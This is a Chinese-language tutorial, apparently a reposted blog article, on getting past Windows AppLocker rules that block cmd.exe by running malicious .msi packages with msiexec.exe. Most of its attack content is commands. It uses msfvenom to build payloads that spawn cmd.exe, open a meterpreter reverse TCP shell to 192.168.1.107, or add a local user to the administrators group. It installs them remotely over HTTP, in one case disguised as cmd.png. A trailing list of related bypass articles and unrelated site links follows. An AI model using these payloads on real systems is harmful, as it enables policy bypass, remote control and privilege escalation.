0x00 前言

在我们之前的文章中,我们讨论了“Windows Applocker策略 - 初学者指南”,因为它们为应用程序控制策略定义了AppLocker规则,以及如何使用它们。但今天您将学习如何绕过AppLocker策略。在本文中,我们使用Windows AppLocker策略阻止了“cmd.exe”文件,并尝试绕过此限制以获得命令提示。

0x01 Applocker适用的关联文件格式

Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一种安全策略,用于限制不需要的程序的使用。在这种情况下,管理员可以限制以下程序的执行:

这完全取决于系统管理员,为程序限制或执行设置AppLocker策略的程序或脚本。可能会出现命令提示符(cmd.exe)、PowerShell或dll文件或批处理文件、rundll32.exe、regsrv.32或regasm等被阻止的情况

0x02 挑战1:使用.msi文件绕过Applocker获取CMD

假设您处于类似的情况,所有上述应用程序都被阻止,并且只允许Windows Installer文件(即.msi扩展名)运行而不受任何限制。

那么,您将如何使用一个msi文件来绕过这些限制并获得一个完整的权限shell呢?

1.关于MSI文件的更多信息

MSI名称来自程序的原始标题Microsoft Installer。从那以后,名称改为Windows Installer。MSI文件扩展名文件是Windows软件包安装程序。安装程序包中包含Windows Installer安装或卸载应用程序所需的所有信息。每个安装包都包含一个.msi文件,其中包含安装数据库、摘要信息流和安装不同部分的数据流。

Windows Installer技术分为两部分,它们结合使用,包括客户端安装程序服务(msiexec.exe)和Microsoft软件安装(msi)包文件。Windows Installer使用包文件中包含的信息安装该程序。

msiexec.exe程序是Windows Installer的组件。当安装程序调用它时,msiexec.exe使用msi.dll读取包(.msi)文件,应用任何转换(.mst)文件,并合并安装程序提供的命令行选项。安装程序执行所有与安装相关的任务,包括将文件复制到硬盘、修改注册表、在桌面上创建快捷方式以及显示对话框,以便在必要时提示用户安装首选项。

在计算机上安装Windows Installer时,它会更改.msi文件的已注册文件类型,以便在双击.msi文件时,Msiexec.exe将与该文件一起运行。

每个MSI包文件都包含一个关系型数据库,该数据库存储在许多安装脚步中安装(和删除)程序所需的指令和数据。

2.获取CMD的多种方法

(1).第一种方法:使用msfvenom生成恶意.msi文件

现在,让我们在kali机器中打开一个新的终端,并生成一个恶意的msi包文件作为cmd.msi,通过使用windows/exec 执行exploit获得命令提示,如下所示:

msfvenom -p windows/exec CMD=cmd.exe -f msi > cmd.msi
python -m SimpleHTTPServer

现在在Windows计算机中传输cmd.msi文件,以获得命令提示符shell作为管理员。这里我们使用了python http服务器来共享网络中的文件。

在本地计算机上下载.msi文件后,可以使用以下语法在命令提示符下运行带有msiexec.exe的msi文件。

语法:msiexec /quiet /i

msiexec /quiet /i C:\Users\raj\Desktop\cmd.msi

只要你在运行提示符中点击上述命令,就会得到命令提示符。

 

(2).第二种方法:使用msfvenom生成恶意.msi文件

注意:即使您在另一个扩展名中重命名cmd.msi文件,它也会绕过该规则。

重复以上步骤,生成一个与msfvenom具有相同payload、并命名为cmd.png的msi文件。因为我的kali中已经有了一个cmd.msi文件,所以我将它重命名为cmd.png,并使用python服务器来传输它

在本地计算机(管理员阻止cmd.exe的Windows操作系统)上下载cmd.png文件(实际上是.msi文件)后,就可以使用以下语法在运行提示符内使用msiexec.exe运行.msi文件。

语法: msiexec /q /i

msiexec /q /i http://192.168.1.107/cmd.png

只要你在运行提示符中点击上述命令,就会得到命令提示符。

(3).第三种方法:使用msfvenom生成恶意.msi文件

在上述方法中,我们通过使用windows/exec payload获得命令提示符,但现在我们将使用windows/meterpreter/reverse_tcp payload通过meterpreter会话获得完全权限的命令shell。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.107 lport= –f msi > shell.msi

现在再次在Windows计算机中传输shell.msi文件,以获得命令提示符shell作为管理员并启动multi/handler。这里我们使用了python http服务器来共享网络中的文件。

在本地计算机上下载了shell.msi文件(管理员阻止了cmd.exe的Windows操作系统)后,可以使用以下语法在运行提示符内使用msiexec.exe运行.msi文件。

语法: msiexec /q /i

msiexec /q /i http://192.168.1.107/shell.msi

只要您在运行提示符中点击上述命令,您将通过使用此payload的meterpreter会话获得命令提示。

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.107
msf exploit(handler) > set lport
msf exploit(handler) > exploit
meterpreter > shell

0x03 挑战2:使管理员组的本地用户成员

假设您处于类似的情况,所有上述应用程序都被阻止,并且只允许Windows Installer文件(即.msi扩展名)运行而不受任何限制。

那么如何使用MSI文件绕过这些限制,使管理员组的本地用户成员阻止cmd.exe运行?

注意:该aaru是本地用户帐户,不是非管理员用户帐户,如下所示:

我们知道由于applocker执行规则策略,cmd.exe在本地计算机上被阻止,因此我们无法使用命令提示符在管理员组中添加aaru。

(1).第四种方法:使用msfvenom生成恶意.msi文件

使用Windows/Exec payload生成MSI包作为admin.msi,该payload发送一条命令,指示将用户aaru的本地管理员权限添加到目标计算机中。

msfvenom -p windows/exec CMD='net localgroup administrators aaru /add' -f msi > admin.msi

现在,在Windows计算机中传输admin.msi文件以将aaru添加到管理员组中。这里我们使用了python http服务器来共享网络中的文件。

下载完本地计算机的admin.msi文件(其中,admin阻止了cmd.exe的Windows操作系统)后,可以使用以下语法在运行提示符内运行带有msiexec.exe的admin.msi文件

语法:msiexec /q /i

msiexec /q /i http://192.168.1.107/admin.msi

只要您在运行提示符中点击上述命令,就可以确保aaru用户已成为管理员帐户的一部分。

本文中我们将了解到,如何使用.msi文件来绕过操作系统策略限制而执行,在该系统中,cmd.exe和其他应用程序被管理员阻止。

参考文献:

https://support.microsoft.com/en-gb/help/310598/overview-of-the-windows-installer-technology

https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/

 
 
 
 

使用msiexec.exe绕过应用程序白名单(多种方法)的更多相关文章

  1. 使用mshta.exe绕过应用程序白名单(多种方法)

      0x00 简介 很长一段时间以来,HTA文件一直被web攻击或在野恶意软件下载程序用作恶意程序的一部分.HTA文件在网络安全领域内广为人知,从红队和蓝队的角度来看,它是绕过应用程序白名单有价值的“ ...

  2. 使用regsrv32.exe绕过应用程序白名单(多种方法)

    0x00 regsvr简介 regsvr32表示Microsoft注册服务.它是Windows的命令行实用工具.虽然regsvr32有时会导致问题出现,但它是Windows系统文件中的一个重要文件.该 ...

  3. 使用rundll32.exe绕过应用程序白名单(多种方法)

    0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术.我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行.在上一篇文章中,我们讨论了“ Wind ...

  4. 使用msbuild.exe绕过应用程序白名单(多种方法)

      一.MSbuild.exe简介 Microsoft Build Engine是一个用于构建应用程序的平台.此引擎也被称为msbuild,它为项目文件提供一个XML模式,该模式控制构建平台如何处理和 ...

  5. 使用wmic.exe绕过应用程序白名单(多种方法)

      一.Wmic.exe wmic实用程序是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置.停止进程和本地或远程运行脚本.因 ...

  6. 使用cmstp绕过应用程序白名单

    默认情况下,AppLocker允许在文件夹中执行二进制文件,这是可以绕过它的主要原因.已经发现,这样的二进制文件可以很容易地用于绕过AppLocker和UAC.与Microsoft相关的二进制文件之一 ...

  7. GreatSct -应用程序白名单bypass工具

      0x00 GreatSCT简介 GreatSCT目前得到了@ConsciousHacker的支持,该项目名为Great SCT(Great Scott).Great SCT是一个用于生成应用程序白 ...

  8. 项目适配iOS9遇到的一些问题及解决办法 ,以及URL 白名单配置方法

    1.网络请求报错.升级Xcode 7.0发现网络访问失败.输出错误信息 The resource could not be loaded because the App Transport Secur ...

  9. 将非官方扩展程序加入chrome的白名单

    参考来源:http://xclient.info/a/1ddd2a3a-d34b-b568-c0d0-c31a95f0b309.html com.google.Chrome.mobileconfig ...

随机推荐

  1. Python 3 利用 Dlib 实现摄像头实时人脸检测和平铺显示

    1. 引言 在某些场景下,我们不仅需要进行实时人脸检测追踪,还要进行再加工:这里进行摄像头实时人脸检测,并对于实时检测的人脸进行初步提取: 单个/多个人脸检测,并依次在摄像头窗口,实时平铺显示检测到的 ...

  2. 10分钟了解 pandas - pandas官方文档译文 [原创]

    10 Minutes to pandas 英文原文:https://pandas.pydata.org/pandas-docs/stable/10min.html 版本:pandas 0.23.4 采 ...

  3. GitHub笔记(四)——标签管理

    五 标签管理 1 打标签.默认master $ git tag v1.0 要对add merge这次提交打标签,它对应的commit id是f52c633,敲入命令: $ git tag v0.9 f ...

  4. Netty源码分析第1章(Netty启动流程)---->第1节: 服务端初始化

    Netty源码分析第一章:  Server启动流程 概述: 本章主要讲解server启动的关键步骤, 读者只需要了解server启动的大概逻辑, 知道关键的步骤在哪个类执行即可, 并不需要了解每一步的 ...

  5. Visual Studio Code搭建NodeJs的开发环境

    一.Visual Studio Code搭建NodeJs的开发环境 1.下载安装NodeJs并配置环境变量 可以参考:NodeJs的安装和环境变量配置 2.下载安装 VS Code编辑器 可以参考:V ...

  6. dmesg命令详解

    基础命令学习目录 http://linux.cn/article-3587-1.html dmesg 命令的使用范例 下面我们展示一些最负盛名的‘dmesg’命令工具以及其实际使用举例.‘dmesg’ ...

  7. 定时任务crone表达式demo

    1. cron表达式格式: {秒数} {分钟} {小时} {日期} {月份} {星期} {年份(可为空)} 2. cron表达式各占位符解释: {秒数} ==> 允许值范围: 0~59 ,不允许 ...

  8. Linux 目录结构及文件基本操作

    Linux 目录结构及文件基本操作 实验介绍 1.Linux 的文件组织目录结构. 2.相对路径和绝对路径. 3.对文件的移动.复制.重命名.编辑等操作. 一.Linux 目录结构 在讲 Linux ...

  9. YQCB绩效表

    标准 队员 工作质量 20% 工作态度 20% 工作量 30% 工作难易程度 20% 团队意识 10% 总分 陈美琪 17 18 28 19 9 91 张晨阳 16 16 25 17 9 83 刘昭为 ...

  10. Calculator项目的过程及感受

    1.将Calculator项目传到Github上的链接地址:https://github.com/sonnypp/object-oriented/tree/master/Calculator 2.本次 ...